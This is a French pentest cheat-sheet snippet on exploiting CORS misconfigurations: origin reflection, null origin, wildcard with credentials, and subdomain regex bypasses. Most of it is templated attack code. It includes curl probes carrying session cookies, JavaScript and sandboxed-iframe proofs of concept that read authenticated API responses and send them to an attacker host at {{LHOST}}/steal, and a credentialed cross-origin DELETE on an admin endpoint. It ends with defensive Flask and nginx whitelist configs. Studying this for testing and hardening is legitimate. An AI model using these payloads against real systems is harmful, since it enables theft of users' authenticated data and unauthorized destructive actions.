MDstable
NoteSnippetChecklistPlaybook

CORS Misconfiguration

Exploitation des mauvaises configurations CORS : origin reflection, null origin, wildcard, subdomain trust

snippetintermediate 2026-05-14 4 min read
corsoriginaccess-controlapipreflightpentest

Principe CORS

Variables
{{TARGET}}
CORS mcanisme navigateur qui autorise ou non les requtes cross-origin.
Requte cross-origin
evilcom api{{TARGET}} le navigateur ajoute lheader Origin
api{{TARGET}} rpond avec Access-Control-Allow-Origin: evilcom
Navigateur autorise JavaScript lire la rponse
Si Access-Control-Allow-Credentials: true est aussi prsent
Les cookies sont envoys ET la rponse est lisible par evilcom
Impact maximal vol de donnes authentifies

Identification — Headers à surveiller

bash
Variables
{{SESSION_TOKEN}}
{{TARGET}}
# Tester manuellement
curl -H "Origin: https://evil.com"
-H "Cookie: session={{SESSION_TOKEN}}"
https//{{TARGET}}/api/profile -I
# Chercher dans la réponse :
# Access-Control-Allow-Origin: https://evil.com ← reflète notre origin
# Access-Control-Allow-Credentials: true ← cookies inclus
# Test avec null origin
curl -H "Origin: null"
https//{{TARGET}}/api/profile -I

Cas 1 — Origin Reflection

bash
Variables
{{YOUR_ORIGIN}}
{{ATTACKER_DOMAIN}}
{{STOLEN_SESSION}}
{{TARGET}}
# Le serveur reflète exactement l'Origin envoyé
# Access-Control-Allow-Origin: {{YOUR_ORIGIN}}
# Access-Control-Allow-Credentials: true
# Exploitation
curl -H "Origin: https://{{ATTACKER_DOMAIN}}"
-H "Cookie: session={{STOLEN_SESSION}}"
"https://{{TARGET}}/api/user/data" -I
# → Access-Control-Allow-Origin: https://{{ATTACKER_DOMAIN}} → exploitable
html
Variables
{{TARGET}}
{{LHOST}}
<!-- PoC d'exploitation depuis evil.com -->
<script>
fetch('https://{{TARGET}}/api/profile', {
credentials: 'include' // envoie les cookies
})
.then(r => r.json())
.then(data => {
// Exfiltrer les données vers notre serveur
fetch('https://{{LHOST}}/steal?data=' + encodeURIComponent(JSON.stringify(data)));
});
</script>

Cas 2 — Null Origin

bash
Variables
{{SESSION_TOKEN}}
{{TARGET}}
# Certains serveurs autorisent Origin: null
# (utilisé par les fichiers HTML locaux, iframes sandboxed)
curl -H "Origin: null"
-H "Cookie: session={{SESSION_TOKEN}}"
"https://{{TARGET}}/api/profile" -I
# → Access-Control-Allow-Origin: null → exploitable
html
Variables
{{TARGET}}
{{LHOST}}
<!-- Forcer Origin: null via iframe sandboxed -->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
fetch('https://{{TARGET}}/api/profile', {credentials:'include'})
.then(r=>r.json())
.then(d=>parent.postMessage(JSON.stringify(d),'*'));
</script>">
</iframe>
<script>
window.onmessage = function(e) {
fetch('https://{{LHOST}}/steal?d=' + encodeURIComponent(e.data));
};
</script>

Cas 3 — Wildcard + Credentials (impossible mais mal configuré)

bash
Variables
{{SESSION_TOKEN}}
{{TARGET}}
# Access-Control-Allow-Origin: * + Credentials est interdit par les specs
# Mais certains serveurs mal configurés tentent de le faire
# Test : quel comportement avec * et credentials ?
curl -H "Origin: https://evil.com"
-H "Cookie: session={{SESSION_TOKEN}}"
"https://{{TARGET}}/api/data" -I
# Si la réponse est :
# Access-Control-Allow-Origin: *
# Access-Control-Allow-Credentials: true
# → Navigateur refuse de toute façon, mais peut indiquer une implémentation custom bugguée

Cas 4 — Subdomain Trust / Regex mal écrite

bash
Variables
{{TARGET_DOMAIN}}
{{TARGET}}
# Regex vulnérable : vérifie que l'origin CONTIENT le domaine cible
# Exemples de bypass :
# Origin se terminant par le domaine (match partiel)
curl -H "Origin: https://evil{{TARGET_DOMAIN}}"
"https://{{TARGET}}/api/data" -I
# Si regex : /.*\.{{TARGET_DOMAIN}}$/ → evil.{{TARGET_DOMAIN}} matche
# Origin préfixée
curl -H "Origin: https://{{TARGET_DOMAIN}}.evil.com"
"https://{{TARGET}}/api/data" -I
# Sous-domaine compromis
curl -H "Origin: https://sub.{{TARGET_DOMAIN}}"
"https://{{TARGET}}/api/data" -I
# Si un sous-domaine est XSS-vulnérable → pivot via CORS
# Conftest avec null byte ou encodage
curl -H "Origin: https://{{TARGET_DOMAIN}}%60.evil.com"
"https://{{TARGET}}/api/data" -I

Exploitation avec pre-flight (requêtes complexes)

javascript
Variables
{{TARGET}}
// Requêtes "simples" (GET, POST text/plain) → pas de pre-flight
// Requêtes "complexes" (JSON, PUT, DELETE, headers customs) → pre-flight OPTIONS
// Si CORS accepte PUT/DELETE cross-origin avec credentials
fetch('https://{{TARGET}}/api/admin/user/42', {
method: 'DELETE',
credentials: 'include',
headers: {
'Content-Type': 'application/json'
}
})
.then(r => r.json())
.then(console.log);

Défense CORS

python
Variables
{{TARGET_DOMAIN}}
# Python (Flask) — whitelist stricte d'origines
from flask_cors import CORS
ALLOWED_ORIGINS = [
"https://app.{{TARGET_DOMAIN}}",
"https://www.{{TARGET_DOMAIN}}"
]
def is_allowed_origin(origin: str) -> bool:
# Comparaison exacte — jamais de regex sur l'origin
return origin in ALLOWED_ORIGINS
@app.after_request
def add_cors_headers(response):
origin = request.headers.get('Origin')
if origin and is_allowed_origin(origin):
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
response.headers['Access-Control-Allow-Methods'] = 'GET, POST'
response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization'
response.headers['Vary'] = 'Origin' # Important pour le cache
return response
nginx
Variables
{{TARGET_DOMAIN}}
# Nginx — whitelist d'origines
map $http_origin $cors_origin {
default "";
"https://app.{{TARGET_DOMAIN}}" $http_origin;
"https://www.{{TARGET_DOMAIN}}" $http_origin;
}
add_header Access-Control-Allow-Origin $cors_origin always;
add_header Access-Control-Allow-Credentials true always;
add_header Vary Origin always;
Rgles CORS scurises
Whitelist dorigines exactes pas de regex pas de substring match
Jamais Access-Control-Allow-Origin: avec Credentials true
Access-Control-Allow-Origin: null interdit
Header Vary Origin pour viter le cache poisoning CORS
Limiter les mthodes autorises pas si pas ncessaire
Valider lOrigin ct serveur mme sans CORS la politique CORS est dans le navigateur pas dans le serveur
⚠ Attention —

Le header Access-Control-Allow-Origin: * sur une API publique est souvent intentionnel et sûr — TANT QUE Allow-Credentials: true est absent. Le danger est la combinaison des deux. Une API de données publiques peut utiliser *, mais une API authentifiée doit impérativement avoir une whitelist stricte.

OPS·BRAIN v1.075 notes · Securitylocal